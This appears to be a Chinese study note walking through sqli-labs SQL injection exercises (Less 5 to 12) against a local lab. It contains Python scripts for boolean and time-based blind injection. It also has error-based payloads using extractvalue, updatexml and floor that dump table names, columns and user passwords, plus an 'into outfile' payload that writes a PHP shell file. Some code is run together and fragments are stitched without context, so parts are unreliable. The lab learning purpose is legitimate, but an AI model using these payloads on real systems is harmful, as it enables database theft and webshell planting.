defget_length(url, payload, exp): for i inrange(100): finally_url = url + payload % i response = requests.get(finally_url) if exp in response.text: return i
else: return0
defget_dbname(): url = "http://127.0.0.1/sqli-labs/Less-5/?id=1" payload = "' and substr(database(),%d, 1)='%c';--+" exp = 'You are in...........' length = get_length(url, "' and length(database())=%d;--+", exp) string_able = string.ascii_lowercase db_name = '' for index inrange(1, length+1): for i in string_able: finaly_url = url + payload % (index, i) response = requests.get(finaly_url) if exp in response.text: db_name += i break else: db_name += 'X'
print(db_name, length)
get_dbname()
less 6
同上,盲注,但是闭合语句变成了 “
less 7
使用 outfile
payload:
1
-1')) union select 1,2,'<?php phpinfo(); ?>'into outfile "网站路径\\shell.php";#
db_name = '' print(length) for index inrange(1, length+1): for i in string.ascii_lowercase: finally_url = url + payload % (index, i) start_time = time.time() response = requests.get(finally_url) end_time = time.time() if end_time - start_time > exp: db_name += i break else: db_name += 'X'
print(db_name)
get_dbname()
less 10
同 less 9 , 盲注, 闭合符号换成 “
报错注入
extractvalue(目标xml文档, xml路径) 对 xml 文档进行查询的函数
如果 目标xml文档 语句不正确, 就会打印 xml路径
concat 拼接所有参数, 参数必须是字符串类型
group_concat 将参数进行分组拼接, 可使用常量
updatexml 更新 xml 文档
updatexml(目标xml文档, xml路径,更新的内容)
一般首尾都是这个, ‘anything’ , 路径为要查询的数据
updatexml 和 extractvalue 都是只能报错32位
floor 函数注入
利用floor、count、group by三者起冲突导致报错,使用 三者不可缺一
使用条件:mysql 5.0及以上版本
长度限制:64位
floor() 取整数
rand() 在[0,1]产生一个随机数
rand(0)*2 取0到2的随机数
举例:
1
or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) y);%23
查询所有数据库名
1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(schema_name),0x7e),1,64)from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询某数据库下的所有表,输出 security数据库下的所有表名
1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(table_name),0x7e),1,64)from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询某表下的所有字段,输出security库下users表的所有字段
1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(column_name),0x7e),1,64)from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询users表下的password字段数据
1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(password),0x7e),1,64)from users),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
less 11
一个登录框, 可以用 万能密码登录
payload
爆表
1
1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e));%23
爆字段
1
1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e));%23
取数据
1
1' and extractvalue(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e));%23
less 12
发现了一个 知识盲点
1
select username,passwod from users where username="test" and sleep(10);
db_name = '' for index inrange(length): for i in string.ascii_lowercase: cur_payload = payload.copy() cur_payload['uname'] = cur_payload['uname'].format(index, i) response = requests.post(url=burp0_url, data=cur_payload) if exp in response.text: db_name += i break else: db_name += 'X'
uname=admin&passwd=123123' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e));%23&submit=Submit
查字段名
1
uname=admin&passwd=123123' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"), 0x7e));%23&submit=Submit